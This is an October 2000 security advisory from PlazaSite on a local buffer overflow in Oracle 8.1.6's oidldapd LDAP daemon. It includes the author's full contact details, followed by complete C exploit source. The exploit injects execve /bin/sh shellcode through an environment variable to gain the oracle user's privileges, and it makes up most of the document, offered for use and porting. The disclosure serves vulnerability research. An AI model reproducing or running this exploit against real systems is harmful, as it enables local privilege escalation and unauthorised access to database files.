[ SOURCE: http://www.secureroot.com/security/advisories/9735375937.html ] WWW.PLAZASITE.COM System & Security Division Title: Vulnerability in oidldapd in Oracle 8.1.6 Date: 16-10-2000 Platform: Only tested in Linux, but can be exported to others. Impact: Any user gain euid=oracle. Author: Juan Manuel Pascual (pask@plazasite.com) Status: Vendor Contacted but no answers received. Details Below OVERVIEW: oidldapd is a Oracle Internet Directory. Oracle Ldap Daemon. PROBLEM SUMMARY: There is a buffer overflow in oidldapd that can be use by local users to obtain euid of oracle user. With the default instalation oracle user owns all database files. IMPACT: Any user with local access, can gain euid= oracle. SOLUTION: Maybe a chmod -s ;-)))). STATUS: Vendor was contacted 2 days ago. Oracle people in USA & Spain dont answer my emails. The address contacted was security@us.oracle.com and security@es.oracle.com and other people from Spain (with no names ;-)). ---------------- This vulnerability was researched by: Juan Manuel Pascual Escriba pask@plazasite.com -- " In God We trust, Others We monitor " ------------------------------------------------------------- Juan Manuel Pascual Escribá Administrador de Sistemas PlazaSite S.A. c/ Tomás Bretón 32-38 08950 Esplugues de Llobregat (Barcelona), SPAIN Ph: +34 93 3717398 Fax: +34 93 3711968 mob: 667591142 Email: pask@plazasite.com ------------------------------------------------------------- -------------------------------------------------------------------------------- /* Exploit Code for oidldapd in Oracle 8.1.6 (8ir2) for Linux. I tested in RH 6.2 and 6.1. This code is a bullshit (i know please no comments about ;-)). If someone exports this to Sparc please tell me. synopsis: buffer overflow in oidldapd impact: any user gain euid=oracle. Dedicated to PlazaSite guys. Klink Klink Team. Panxeta, Entrophy and others. */ #include #include #define DEFAULT_OFFSET 13 #define DEFAULT_BUFFER_SIZE 700 #define NOP 0x90 #define ORACLE_HOME "/usr/local/oracle/app/oracle/product/8.1.6" char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr,*name[3],environ[100],binary[120]; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; buff = malloc(bsize); addr = get_sp() - offset; ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff,"EGG=",4); putenv(buff); sprintf(environ,"ORACLE_HOME=%s",ORACLE_HOME); putenv(environ); sprintf(binary,"%s/bin/oidldapd connect=$EGG",ORACLE_HOME); system(binary); }